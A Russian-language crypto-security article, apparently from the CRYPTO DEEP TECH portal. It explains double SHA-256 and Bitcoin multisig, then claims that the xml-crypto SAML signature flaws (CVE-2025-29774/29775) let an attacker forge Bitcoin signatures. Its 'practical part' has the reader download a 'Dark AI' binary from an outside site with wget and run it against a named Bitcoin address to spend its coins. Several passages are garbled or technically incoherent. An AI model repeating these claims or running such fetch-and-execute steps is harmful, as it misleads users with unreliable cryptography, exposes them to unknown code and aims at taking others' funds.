   Это снижает вероятность успешного подбора коллизии или обратного восстановления исходных данных, делает более трудоемким подбор различных вариантов и защищает от слабостей возможных в конкретных реализациях алгоритма.

2. Защита от проблем с длиной входных данных
   Двойной SHA-256 обеспечивает дополнительный уровень превентивной безопасности с учётом поведения внутреннего построения хеша и обработки дополняющих битов в разметке данных. Это минимизирует потенциальные атаки, связанные с форматированием данных.

3. Следование проверенной криптографической практике
   В ряде криптографических протоколов двойное хеширование — признанный приём повышения устойчивости. Например, для контрольных сумм и цифровых подписей используется двойное шифрование или двойное хеширование. Это повышает надёжность цепочки защиты.

4. Проверенная безопасность и широкая поддержка
   SHA-256 входит в семейство SHA-2, разработанное Агентством национальной безопасности США (NSA) и опубликованное Национальным институтом стандартов и технологий (NIST). Этот алгоритм на сегодняшний день считается одним из самых надёжных и его двойное применение обеспечивает максимальную безопасность.

Как это влияет на криптографическую стойкость

• Устойчивость к столкновениям и предобразам
  Каждый из этапов SHA-256 обладает высокой стойкостью к коллизиям — крайне сложно найти два входа с одинаковым хешем. Двойное хеширование усиливает эту гарантию, поскольку атакующий должен найти коллизию для двух последовательных SHA-256, что значительно повышает вычислительную сложность.

• Односторонняя функция с лавинным эффектом
  Двойное применение усиливает «лавинный эффект», при котором малейшее изменение входных данных вызывает радикальное изменение выходного хеша, что затрудняет выявление закономерностей и обратный анализ.

• Повышенная стойкость к криптоанализу
  Двойной SHA-256 защищает от потенциальных слабостей в реализации или неожиданных уязвимостей, которые могли бы быть обнаружены в одной итерации, минимизируя риски атак с помощью квантовых или классических вычислительных средств.

• Применимость в Proof-of-Work и безопасности блокчейна
  Механизм PoW в Bitcoin опирается на вычисление хэшей блоков, которые должны удовлетворять определённой сложности. Двойное хеширование создаёт дополнительный барьер для подделки блоков, повышая надёжность и доверие к цепочке блоков5.

Двойное применение SHA-256 — это осознанный выбор Сатоши Накамото, направленный на обеспечение дополнительного уровня защиты и устойчивой криптографической стойкости всей системы Bitcoin. Такая конструкция минимизирует риски коллизий, усиливает односторонность и надёжно защищает данные в блокчейн-сети, создавая прочный фундамент для безопасности транзакций и консенсуса в системе. Таким образом, двойной SHA-256 — это ключевой элемент архитектуры Bitcoin, сочетающий передовые криптографические методы с распределённой системы.

Мультиподпись в Bitcoin: роль redeemScript и инструкция OP_CHECKMULTISIG

В основе безопасности и гибкости современных биткоин-транзакций лежит скриптовая система, позволяющая реализовывать сложные условия расходования средств. Одним из ключевых механизмов является мультиподпись (multisig), когда средства можно потратить только при наличии нескольких допустимых цифровых подписей из набора возможных. В данной статье подробно рассмотрим, как именно это реализовано в Bitcoin, что такое redeemScript, как работает инструкция OP_CHECKMULTISIG, и почему подобный подход востребован.

Что такое redeemScript?

В контексте Bitcoin, redeemScript — это скрипт, содержащий условия траты средств, которые хранятся на выходе транзакции в формате Pay-to-Script-Hash (P2SH). Вместо хранения полного скрипта в блокчейне, в выходе сохраняется хэш redeemScript, что позволяет экономить место и скрывать детали условий до момента траты.

RedeemScript может включать в себя, например, несколько публичных ключей и пороговое количество подписей — именно это и реализует мультиподписные кошельки.

Как работает OP_CHECKMULTISIG?

Рассмотрим инструкцию OP_CHECKMULTISIG: назначение и работа, где главный элемент в redeemScript, реализующий проверку мультиподписи, — OP_CHECKMULTISIG.

• Инструкция получает на вход две группы данных из стека:

  • N открытых ключей (например, три публичных ключа)

  • M подписей (например, две подписи), где M ≤ N — это необходимый порог подписей для подтверждения транзакции.

• Для валидации транзакции OP_CHECKMULTISIG проверяет, что каждая из M подписей корректно подписана каким-либо из N публичных ключей.

• Если все подписи валидны и соответствуют ключам из redeemScript, инструкция возвращает true, позволяя траты средств.

Особенности и баг с удалением элемента из стека

Из-за исторической ошибки в реализации OP_CHECKMULTISIG при выполнении из стека удаляется один дополнительный элемент, неиспользуемое значение. Чтобы избежать проблем, в scriptSig используется специальный элемент OP_FALSE (значение 0) в начале, который компенсирует этот баг и предотвращает потенциальные уязвимости.

• Далее мы рассмотрим реализацию OP_CHECKMULTISIG при котром из стека удаляется один дополнительный элемент с помощью этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость.

• Таким образом, структура scriptSig для мультиподписи выглядит примерно как: OP_FALSE <signature1> <signature2> ... <redeemScript> где первый элемент скрипта — фиктивный OP_FALSE.

Практический пример: мультиподпись 2 из 3

Исходя из кода redeemScript:

023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG

• Здесь объявлено 3 публичных ключа.

• Порог — 2 подписи из этих трёх необходимы для успешного подтверждения.

• Операция OP_CHECKMULTISIG проверяет, что две предоставленные подписи (в scriptSig) соотносятся с двумя ключами из трёх и являются валидными.

• OP_FALSE в scriptSig компенсирует баг удаления лишнего значения.

Значение и преимущества мультиподписных кошельков

• Повышенная безопасность. Владелец кошелька может распределить контроль над средствами между несколькими лицами или устройствами, исключая возможность одиночного несанкционированного расходования.

• Гибкость. Могут быть реализованы различные схемы, например, «2 из 3», «3 из 5», с различными условиями.

• Юридическая эффективность. Мультиподписи часто используются в корпоративной среде для обеспечения совместного управления активами.

Технический и практический контекст

• Мультиподписные сценарии широко применяются в P2SH- и SegWit-транзакциях.

• Инструкция OP_CHECKMULTISIG входит в набор самых ресурсоёмких операций в блокчейне, так как требует проверки нескольких подписей. На уровне протокола существует ограничение по количеству сигнальных операций (sigops) на блок.

• Несмотря на историю с OP_FALSE, механизм доказал свою надежность и получил широкое применение.

RedeemScript с использованием инструкции OP_CHECKMULTISIG — сложный и мощный инструмент в арсенале Bitcoin, который позволяет создавать мультиподписные кошельки с порогом подписей, обеспечивая высокий уровень безопасности и контроля над средствами. Этот механизм стал краеугольным камнем для организаций, пользователей и сервисов, желающих использовать совместное управление своими активами в децентрализованной и защищённой среде. Таким образом, мультиподпись через redeemScript и OP_CHECKMULTISIG — это не просто технология, а функциональность расширяющая возможности классической криптовалютной модели.

Как работает механизм проверки мультиподписей в Bitcoin с помощью OP_CHECKMULTISIG и redeemScript

Механизм проверки мультиподписей в Bitcoin основан на использовании специальных скриптов с инструкцией OP_CHECKMULTISIG и redeemScript, что позволяет реализовать пороговое согласование подписей, обеспечивая повышенную безопасность и совместное управление средствами.

Основы механизма мультиподписей

Мультиподпись — это система, в которой для совершения транзакции требуется несколько действительных подписей из заданного набора публичных ключей. Типичная схема обозначается как m из n — например, «2 из 3», где из трёх ключей нужны любые две подписи для авторизации траты.

В Bitcoin эта логика реализована через:

• redeemScript — скрипт, описывающий условия траты средств. Он содержит список публичных ключей и параметр порога (m).

• scriptSig — скрипт разблокировки, включающий подписи, необходимые для подтверждения, и сам redeemScript.

Как устроен redeemScript

Инструкция OP_CHECKMULTISIG проверяет, что предоставленные в scriptSig подписи валидны и соотносятся с опубликованными публичными ключами из redeemScript.

RedeemScript структурирован примерно так:

OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIG

• OP_M и OP_N — инструкции, задающие число необходимых подписей и общее количество публичных ключей соответственно (к примеру, OP_2 и OP_3).

• <pubkeyX> — публичные ключи участников.

• OP_CHECKMULTISIG — оператор, реализующий проверку мультиподписей.

• Она принимает на вход несколько подписей и набор публичных ключей.

• Для успешной проверки каждая подпись должна корректно соответствовать одному из указанных публичных ключей.

• Операция возвращает true, если количество валидных подписей достигает порога m.

Важной технической особенностью является историческая ошибка реализации OP_CHECKMULTISIG, из-за которой из стека удаляется лишний, неиспользуемый элемент. Для компенсации этого бага в scriptSig в начале помещается значение OP_FALSE (код 0), чтобы «заблокировать» сдвиг стека.

Как устроена структура scriptSig

Для кошелька с мультиподписью «2 из 3» перед трата средств формируется scriptSig в виде:

OP_FALSE <signature1> <signature2> <redeemScript>

• OP_FALSE — фиктивное значение для компенсации бага OP_CHECKMULTISIG.

• <signature1> и <signature2> — две цифровые подписи, авторизованные владельцами соответствующих приватных ключей.

• <redeemScript> — сам скрипт с публичными ключами и параметрами проверки.

Во время проверки транзакции нода:

1. Извлекает redeemScript из scriptSig.

2. Хеширует его и сравнивает с хешем, который хранится в locking script (scriptPubKey) предыдущего выхода (P2SH-формат — OP_HASH160 <redeemScript hash> OP_EQUAL).

3. Если хеши совпадают, десериализует redeemScript.

4. Выполняет оператор OP_CHECKMULTISIG, сравнивая подписи и ключи на предмет соответствия.

5. Возвращает true, если проверки пройдены успешно.

Если все входы транзакции проходят подобную проверку, транзакция считается валидной. При такой валидности с помощью выполнение оператора этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость.

Механизма мультиподписи через redeemScript и OP_CHECKMULTISIG

• Повышенная безопасность: Чтобы провести транзакцию, необходимо согласие нескольких держателей приватных ключей, что снижает риски кражи при компрометации одного ключа.

• Гибкость и масштабируемость: Можно задать произвольный порог подписей (от 1 до 15), а также список участников — от 2 до 15 публичных ключей.

• Коллективное управление активами: Подходит для корпоративных счетов, совместных кошельков, DAO, позволяя внедрять надежный контроль доступа.

• Прозрачность и проверяемость: Все необходимые данные и условия находятся в блокчейне, а проверка операций происходит автоматически, децентрализованно и прозрачно.

Механизм проверки мультиподписей в Bitcoin при помощи команды OP_CHECKMULTISIG и redeemScript позволяет устанавливать сложные пороговые схемы подписей, с помощью выполнение оператора этого бага злоумышленник компенсирует OP_CHECKMULTISIG как потенциальную уязвимость контролируемой транзакций в распределённой сети Биткоин.

Опубликованы три части [№1] , [№2] , [№3] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/qbu1m_C1wyA

Video tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db

Источник: https://cryptodeeptool.ru/digital-signature-forgery-attack

В этой статье мы рассмотрим криптографическую атаку подделки цифровой подписи (Digital Signature Forgery Attack), её последствия представляет собой угрозу для безопасности транзакций в сети Биткоин, поскольку цифровые подписи подтверждают право собственности и авторизацию переводов криптовалюты. Рассмотрим на примерах влияние таких атак на Биткоин на основе современных исследований и выявленных уязвимостей.

Криптографическая атака подделки подписи (Digital Signature Forgery Attack) заключается в попытке злоумышленника создать фальшивую цифровую подпись ECDSA, которая будет признана сетью Биткоин действительной. Такая атака позволяет авторизовать транзакции без знания приватного ключа владельца, что ставит под угрозу безопасность денежных средств в криптокошельке держателя монет BTC.

В криптографии цифровая подпись обеспечивает подтверждение подлинности сообщения или транзакции. Подделка подписи означает возможность создания пары «RawTX», которая будет принята системой как валидная, хотя на самом деле она не была создана владельцем приватного ключа. Это открывает путь для мошенничества, кражи средств и нарушения целостности блокчейна. Криптографическая атака подделки цифровой подписи (Digital Signature Forgery Attack) как уязвимости реализованы в программных компонентах, использующих библиотеку xml-crypto для проверки подписей XML-документов на платформе Node.js.

В первую очередь это касается корпоративных интеграционных решений, облачных сервисов и систем единого входа, таких как IBM App Connect Enterprise Certified Container и другие приложения, зависящие от xml-crypto для SAML-аутентификации и авторизации. Аппаратно уязвимости не связаны с конкретными физическими устройствами, а реализуются в программных продуктах, использующих уязвимую библиотеку.

Уязвимости CVE-2025-29774 и CVE-2025-29775, известные как криптографическая атака Digital Signature Forgery Attack, реализованы в программной библиотеке xml-crypto — это библиотека для цифровой подписи и шифрования XML-документов на платформе Node.js

• IBM App Connect Enterprise Certified Container — программное обеспечение для интеграции и обработки данных, использующее xml-crypto для проверки подписей XML-документов. Уязвимости позволяют обходить проверку цифровой подписи, что приводит к возможности подделки и модификации подписанных сообщений, включая SAML-ответы для аутентификации и авторизации.

• Системы и приложения, использующие Node.js с библиотекой xml-crypto для проверки подписанных XML-сообщений, особенно в контексте SAML-аутентификации (например, корпоративные порталы, системы единого входа, облачные сервисы). Уязвимость позволяет злоумышленнику модифицировать валидные подписанные XML-сообщения так, что они проходят проверку подписи, что ведет к обходу механизмов аутентификации и авторизации, эскалации привилегий и подделке учетных данных.

• Уязвимости связаны с неправильной проверкой криптографической подписи в xml-crypto, в частности с обработкой узла DigestValue, куда злоумышленник может вставлять XML-комментарии, не нарушая при этом проверку подписи.

• Это позволяет изменять критические атрибуты идентификации и контроля доступа в подписанных XML-документах, что приводит к возможности обхода безопасности без необходимости иметь учетные данные или права доступа.

Таким образом, этот код реализует криптографические алгоритмы подписи и проверки подписи для различных схем (RSA с разными SHA-хешами и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.

Критическая уязвимость в коде signature-algorithms.ts

Код signature-algorithms.ts служит для безопасного создания и проверки цифровых подписей, обеспечивая аутентичность и целостность данных. ECDSA подписи обеспечивают подтверждение авторства с помощью приватного ключа, а HMAC — проверку целостности и аутентичности с использованием секретного ключа. Используемые алгоритмы соответствуют стандартам XML Digital Signature (URI алгоритмов указывают на спецификации W3C).

Таким образом, код signature-algorithms.ts реализует криптографические алгоритмы подписи и проверки подписи для различных схем (ECDSA, RSA с разными SHA-хешами и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.

Основная функциональность

• Каждый класс реализует интерфейс SignatureAlgorithm и предоставляет методы для:

  • Создания подписи (getSignature): принимает данные для подписи и приватный ключ, возвращает цифровую подпись в формате base64.

  • Проверки подписи (verifySignature): принимает исходные данные, публичный ключ и подпись, возвращает булево значение — корректна ли подпись.

  • Получения имени алгоритма (getAlgorithmName): возвращает URI, идентифицирующий используемый алгоритм подписи.

Поддерживаемые алгоритмы

• RsaSha1 — подпись с использованием RSA и хеш-функции SHA-1.

• RsaSha256 — подпись с использованием RSA и SHA-256.

• RsaSha512 — подпись с использованием RSA и SHA-512.

• HmacSha1 — подпись с использованием HMAC на базе SHA-1.

Технические детали

• Для RSA-подписей используется класс crypto.createSign и crypto.createVerify с соответствующими алгоритмами («RSA-SHA1», «RSA-SHA256», «RSA-SHA512»).

• Для HMAC-подписей используется crypto.createHmac с алгоритмом «SHA1».

• Подписи кодируются в base64 для удобства передачи и хранения.

• Методы обернуты в функцию createOptionalCallbackFunction, что, вероятно, позволяет использовать их как с колбэками, так и с промисами (подробности не в коде).

Использование алгоритма RSA-SHA1 в криптографических подписях содержит уязвимость, связанную с коллизиями хешей SHA-1. Это позволяет злоумышленнику создавать два разных сообщения с одинаковой подписью, если он контролирует часть подписываемых данных.

Конкретно проблема находится в классе RsaSha1:

const signer = crypto.createSign("RSA-SHA1"); // Уязвимая строка

Также вторая уязвимость находится в классе RsaSha1:

const verifier = crypto.createVerify("RSA-SHA1"); // Уязвимая строка

Почему данная критическая атака на коллизии позволяют создавать разные данные с одинаковым хешем?

1. Коллизии SHA-1: Алгоритм SHA-1 больше не считается безопасным.

2. Контекст RSA: В сочетании с RSA это может привести к подделке подписей для непроверенных данных (например, сертификатов или документов).

3. Рекомендации: NIST и сообщество безопасности рекомендуют использовать SHA-256/SHA-512 вместо SHA-1.

Дополнительные замечания:

• Класс HmacSha1 (HMAC-SHA1) менее уязвим, но тоже устарел. HMAC более устойчив к коллизиям, чем «голый» SHA-1, но переход на SHA-256 предпочтителен.

• В коде есть современные реализации (RsaSha256/RsaSha512), которые следует использовать вместо RsaSha1.

CVE-2025-29774 и CVE-2025-29775 — это критические уязвимости в библиотеке xml-crypto для Node.js, связанные с некорректной проверкой цифровых подписей в XML-документах. Обе уязвимости позволяют злоумышленнику модифицировать подписанные XML-сообщения так, чтобы изменения оставались незамеченными при проверке подписи.

Механизм Digital Signature Forgery Attack

1. Уязвимости в алгоритмах RSA-SHA1

В предоставленном коде классы RsaSha1 используют устаревший алгоритм RSA-SHA1 для подписи и верификации:

const signer = crypto.createSign("RSA-SHA1"); // Уязвимая строка №7
const verifier = crypto.createVerify("RSA-SHA1"); // Уязвимая строка №17

SHA1 считается криптографически ненадежным, основная проблема заключается в логике обработки XML-структур библиотекой:

• При создании подписи XML-документ проходит этап каноникализации (приведение к стандартной форме, например, удаление пробелов и комментариев).

• При верификации подписи библиотека не учитывает различия между каноникализованными и неканоникализованными версиями документа . Это позволяет злоумышленнику модифицировать документ (например, добавить комментарии или изменить структуру), не нарушая подпись.

2. Пример эксплуатации

1. Модификация SignedInfo:

   • Атакующий добавляет в XML-документ дополнительные узлы <SignedInfo>, что приводит к неверному вычислению хеша при верификации.

   xml<Signature> <SignedInfo>...</SignedInfo> <!-- Оригинальный узел --> <SignedInfo>...</SignedInfo> <!-- Добавленный злоумышленником --> </Signature>

2. Использование слабого алгоритма:

   • Алгоритм SHA1 уязвим к коллизиям, что упрощает создание поддельных подписей для модифицированных документов .

3. Последствия

• Обход аутентификации: Изменение атрибутов в SAML-токенах или других XML-документах, связанных с доступом .

• Эскалация привилегий: Подмена идентификатора пользователя на администратора в системе авторизации .

• Массовые атаки: Уязвимость может эксплуатироваться удаленно без взаимодействия с пользователем (CVSS 9.3).

Технические детали уязвимостей:

CVE-2025-29774

• Проблема: Недостаточная проверка структуры XML-документа при верификации подписи.

• Эксплуатация: Добавление лишних узлов или атрибутов в подписанную часть документа.

CVE-2025-29775

• Проблема: Некорректное использование контекста каноникализации при вычислении хеша.

• Эксплуатация: Модификация документа в неканоникализованной форме после подписания.

Рекомендации по устранению

1. Обновление библиотеки:

   • Для версий 2.x → 2.1.6, 3.x → 3.2.1, 6.x → 6.0.1.

2. Замена алгоритмов: typescript// Использование SHA-256 вместо SHA-1 const signer = crypto.createSign("RSA-SHA256");

3. Валидация структуры XML:

   • Проверка наличия ровно одного узла <SignedInfo> в подписи.

Устранение этих уязвимостей критически важно для систем, использующих XML-подписи в аутентификации (например, SAML, SOAP).

Библиотека xml-crypto, широко используется для проверки цифровых подписей в XML-сообщениях, включая такие протоколы как SAML, SOAP и другие. Из этого следует, что уязвимость потенциально затрагивает:

• Программное обеспечение и сервисы, использующие xml-crypto для XML-подписей, в том числе корпоративные интеграционные платформы и middleware (например, IBM App Connect Enterprise, где зафиксированы эти уязвимости).

• Устройства и системы, которые применяют XML-подписи для аутентификации и авторизации, включая серверы и шлюзы, поддерживающие SAML.

• Уязвимости CVE-2025-29774 и CVE-2025-29775 в первую очередь касаются программных компонентов и платформ, использующих библиотеку xml-crypto для обработки XML-подписей.

• Среди известных пострадавших — IBM App Connect Enterprise и, вероятно, другие корпоративные решения на базе Node.js с использованием xml-crypto.

• На данный момент нет публичных данных о конкретных брендах аппаратных устройств, подверженных этим атакам.

Для оценки риска на конкретных устройствах рекомендуется проверить, используют ли они уязвимые версии xml-crypto или зависят от аналогичных механизмов XML-подписей. Для работы с криптовалютными кошельками на базе Node.js IBM предлагает отдельные решения, например, IBM Secure Bitcoin Wallet — приложение, основанное на Electrum Bitcoin Client, которое использует Node.js для взаимодействия с сетью Биткоина и управления кошельком.

В этом решении приватные ключи и кошелек могут храниться и шифроваться с помощью IBM Cloud Hyper Protect Crypto Services (zHSM), обеспечивающего аппаратное безопасное хранение ключей. Генерация приватных ключей для Bitcoin-кошельков обычно реализуется в специализированных криптографических библиотеках, таких как Electrum, bitcoinjs-lib и т.п., которые могут быть интегрированы в Node.js-приложения. IBM Secure Bitcoin Wallet использует модифицированный Electrum backend на Node.js для управления ключами и транзакциями, за счет интеграции с IBM Cloud Hyper Protect Crypto Services, предоставляющим аппаратное шифрование и безопасное хранение приватных ключей.

Практическая часть

Из теории уязвимость CVE-2025-29775 известно, что злоумышленник может обработать не обновленую библиотеку xml-crypto для некорректных значении транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , где были потерянный монеты на сумму: 0.059672 BTC на июль 2025 года эта сумма составляет: 7,052 USD

Рассмотрим формат: Raw transaction бинарные и hex-данные, которые содержат всю информацию о транзакции. Она нужна для передачи, проверки или создания операций на низком уровне и представляет собой основу работы всей Биткоин-сети. Обычные пользователи редко сталкиваются с Raw transaction напрямую, но для разработчиков и крипто-энтузиастов это главный инструмент для полного контроля над всеми транзакциями Биткоин-сети.

Для полного возвращение объектов UTXO в сети Биткоин воспользуемся инструментом Dark AI. UTXO является основной частью структуры данных в цепочке блокчейна и отражает количество монет BTC криптовалюты, которое может быть потрачено держателем приватного ключа (контролирующим данный Биткоин адрес). Каждый UTXO — это выход конкретной прошлой транзакции, который еще ни разу не был использован в качестве входа в последующих транзакциях.

Google Colab

https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW

1. Загрузка и установка инструмента Dark AI

Подробное описание всех команд и действий терминала

Команды:

!wget https://darkai.ru/repositories/neuralnet_tools.zip

• wget — утилита командной строки для загрузки файлов из сети по протоколам HTTP, HTTPS и FTP.

• Загружаем neuralnet_tools.zip архив с указаннием URL.

• unzip — команда для извлечения ZIP-архивов в текущем каталоге.

Эта команда извлекает все файлы из neuralnet_tools.zip

!unzip neuralnet_tools.zip

Запустим команду ls для быстрого и удобного просмотра

ls

2. Запуск инструмента Dark AI

!./darkai

Выполним команду, чтобы получить информацию о так называемых непотраченных выходах транзакций (UTXO, расшифровка: Unspent Transaction Output) для указанного биткоин-адреса. Эта информация важна для оценки баланса адреса и возможности проведения новых транзакций.

!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

В результате были возвращены два объекта UTXO:

[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]

Каждый UTXO содержит:

• output — идентификатор выхода. Формат: <txid>:<n>, где <txid> — уникальный хэш транзакции, а <n> — номер выхода в списке выходов данной транзакции.

• value — сумма в сатоши (1 биткоин = 100 000 000 сатоши).

Расшифровка данных:

1. Первый UTXO

   • Выход: 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0

   • Сумма: 677 200 сатоши

2. Второй UTXO

   • Выход: bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0

   • Сумма: 5 000 000 сатоши

Общий баланс

Суммарный доступный баланс адреса равен сумме всех найденных UTXO:

• 677 200 + 5 000 000 = 5 677 200 сатоши

• В пересчёте на биткоины: 5 677 200/100 000 000 = 0.05677200 BTC

Техническая интерпретация с помощью Dark AI

Воспользуемся процессом интерпретации, чтобы обработать не обновленую библиотеку xml-crypto для создание некорректных значении транзакции и отправим крупную сумму, алгоритм Dark AI сам выберет, какой UTXO использовать (или объединит оба).

• Отправка средств: Все указанные UTXO могут быть использованы в качестве входов при формировании новой транзакции, что позволит потратить весь баланс или его часть.

• Прозрачность: Такой отчёт подтверждает наличие реальных биткоин-средств на адресе и может быть использован для проверки подлинности и платежеспособности.

На биткоин-адресе 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe имеется два активных UTXO на общую сумму 0.05677200 BTC. Эти средства можно использовать для совершения новых транзакций; оба выхода считаются подтверждёнными и не потраченными.

Десериализация Биткоин транзакции

Чтобы получить фрагменты информации о выходе (output) Биткоин транзакции применим следующие команды, где первый выход (outs) из транзакции с уникальным идентификатором 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

Получаем структуру ответа результата десериализации:

{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

• value: 677200 — сумма данного выхода выражена в сатоши (1 BTC = 100 000 000 сатоши).

• script: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — скрипт, определяющий условия траты данного выхода.

Подробное объяснение элементов: Поле value

• Значение: 677 200 сатоши.

• Данную сумму можно будет потратить при создании соответствующей транзакции, если будут выполнены условия скрипта.

• Эквивалент: 677 200/100 000 000 = 0.00677200 BTC.

Подробное объяснение элементов: Поле script

• Значение скрипта: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287

• Это скрипт типа «scriptPubKey» — часть выходной структуры транзакции, задающая, кто может потратить эти средства. Важнейшее предназначение — обеспечение безопасности и контроля над распоряжением средствами.

Декодирование скрипта

• Скрипт начинается с префикса a914...87, что соответствует формату P2SH (Pay to Script Hash):

  • a9 — OP_HASH160 (оператор хеширования)

  • 14 — длина следующего значения (20 байт = 40 символов hex)

  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — сам hash160 Биткоин Адреса кошелька, где хранятся монеты BTC.

  • 87 — OP_EQUAL (базовый оператор команды Bitcoin Script, реализуюет сравнение двух данных для проверки их идентичности)

• Это означает, что средства получатель может потратить, если предоставит скрипт, хеш которого соответствует приведённому значению, и предъявит валидные подписи для этого скрипта.

Практическая значимость результата

• Данный вывод указанной транзакции содержит 677 200 сатоши (0.00677200 BTC), которые защищены скриптом типа P2SH.

• Для расходования средств с такого выхода понадобится знать оригинальный скрипт и предъявить корректные подписи — типичная ситуация для кошельков с мультиподписями, смарт-контрактов и других продвинутых схем безопасности.

• Эта информация важна для анализа структуры транзакции, проверки назначения средств и понимания требований для их последующего использования.

Десериализации транзакции по идентификатору

В результате десериализации транзакции по идентификатору 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd был получен первый выход, содержащий сумму 677 200 сатоши (0.00677200 BTC), защищённый P2SH-скриптом. Для распоряжения этими средствами потребуется представить скрипт назначения и корректно подписать разблокирующую транзакцию, соответствующую условиям указанного хэша.

Десериализация второй Биткоин транзакции

Чтобы получить фрагменты информации о выходе исходных данных (output) Биткоин транзакции применим следующие команды, где первый выход (outs) из транзакции с уникальным идентификатором bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

Воспользуемся процессом интерпретации, с помощью Dark AI при помощи функции десериализации, далее мы получаем информацию о структуре первого выходного элемента (output) для второй транзакции с идентификатором
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.

Результат:

{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

1. Подробное объяснение элементов: Поле value

• Содержимое: 5000000

• Это значение указывается в сатоши (satoshi) — минимальной неделимой единице биткоина; 1 BTC = 100,000,000 сатоши.

• Назначение:
  Эта сумма ассоциирована с конкретным выходом транзакции, указанным в элементах массива 'outs'. Ее можно потратить, только если будут выполнены условия, записанные в скрипте, определённом в поле 'script'.

• Перевод в биткоины: 5 000 000 сатоши = 0.05 BTC

2. Подробное объяснение элементов: Поле script

• Содержимое: 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'

• Это так называемый locking script или, иначе, scriptPubKey — скрипт, который указывает условия, при которых данный выход может быть потрачен.

Декодирование скрипта

Указанное значение соответствует стандартному типу скрипта в сети биткоин:

• a9 — код операции OP_HASH160 (производит RIPEMD-160 от SHA-256 от следующей строки).

• 14 — длина последующего поля: 20 байт (40 шестнадцатеричных символов).

• 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — это непосредственно 20-байтовый хэш, который идентифицирует либо адрес биткоин-кошелька, либо скрипт.

• 87 — код операции OP_EQUAL.

В совокупности такая запись означает P2SH-адрес (Pay-to-Script-Hash, «оплата по хэшу скрипта»). В этом случае средства закрепляются за некой скрипт-комбинацией, а для их изъятия нужно будет раскрыть скрипт, хэш которого здесь зафиксирован, и предъявить подписи (или иные данные), удовлетворяющие условиям этого скрипта.

Наиболее часто подобная схема используется для мультиподписей, простых и сложных смарт-контрактов, двусторонних мультиподписей, схем безопасности с условиями и другими продвинутыми сценариями.

3. Практический смысл результата, величина и назначение средств.

1. В указанной транзакции (с хэшем bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786) есть выход, в котором 0.05 BTC (5 000 000 сатоши) «заблокированы» на P2SH-адресе, соответствующем хэшу 06612b7cb2027e80ec340f9e02ffe4a9a59ba762

2. Условия расходования:
   Чтобы потратить эти средства, необходимо при формировании расходующей транзакции предъявить не только стандартную подпись, как при прямом переводе, но и сам скрипт, хэш которого зашит в этом выходе, плюс данные (например, набор цифровых подписей), соответствующие условиям скрипта.

3. Безопасность и гибкость:
   Такой способ позволяет реализовывать более сложные логические схемы, чем прямое отправление на обычный Биткоин адрес.

4. Оформление выхода в уровень совместимости с различными сервисами и кошельками, поддерживающими P2SH.

• Транзакция с идентификатором
  bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
  содержит выход, в котором
  0.05 BTC (5 000 000 сатоши)
  закреплены на P2SH-скрипте (Pay-to-Script-Hash) с хэшем
  06612b7cb2027e80ec340f9e02ffe4a9a59ba762.

• Для траты этих средств необходимо раскрыть исходный скрипт и выполнить его условия (например, предъявить все подписи в мультиподписи).

Таким образом, результат десериализации сообщает о наличии определённой суммы биткоинов на условном (P2SH) адресе и определяет строгие правила их расходования, что играет ключевую роль для управления и учёта средств в сети Bitcoin.

P2SH (Pay-to-Script-Hash) locking script в сети Биткоин. Что означает этот скрипт?

Скрипт 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287' выбран и использован в данном выходе транзакции, потому что он представляет собой типичный P2SH (Pay-to-Script-Hash) locking script в сети Биткоин.

Рассмотрим его по частям:

• a9 — OP_HASH160: операция хеширования, которая применяет сначала SHA-256, а затем RIPEMD-160 к последующим данным.

• 14 — длина хеша — 20 байт (в 16-ричном формате).

• 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — 20-байтовый хеш скрипта, известный как script hash.

• 87 — OP_EQUAL: оператор, проверяющий равенство двух значений на стеке.

